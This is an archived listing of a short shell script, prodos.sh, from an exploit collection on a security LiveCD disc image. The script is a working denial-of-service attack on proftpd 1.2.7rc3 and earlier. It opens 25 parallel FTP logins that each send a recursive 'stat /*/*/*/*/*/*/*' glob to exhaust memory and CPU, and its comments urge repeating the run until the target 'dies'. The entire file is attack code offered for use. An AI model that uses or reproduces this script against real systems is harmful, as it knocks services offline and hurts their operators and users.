home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / proftpd / prodos.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  572b  |  29 lines

  1. #!/bin/sh
  2. #
  3. # proftpd <=1.2.7rc3 DoS - Requires anonymous/ftp login at least
  4. # might work against many other FTP daemons
  5. # consumes nearly all memory and alot of CPU
  6. #
  7. # tested against slackware 8.1 - proftpd 1.2.4 and 1.2.7rc3
  8. #
  9. # 7-dec-02 - detach  -  www.duho.org
  10. #
  11. # use: ./prodos.sh <host> <user> <pass>
  12. # do this some more to make sure the system eventually dies
  13.  
  14. cnt=25
  15. while [ $cnt -gt 0 ] ; do
  16. ftp -n << EOF&
  17. o $1
  18. quote user $2
  19. quote pass $3
  20. quote stat /*/*/*/*/*/*/*
  21. quit
  22. EOF
  23. let cnt=cnt-1
  24. done
  25. sleep 2
  26. killall -9 ftp
  27. echo DONE!
  28.  
  29. #end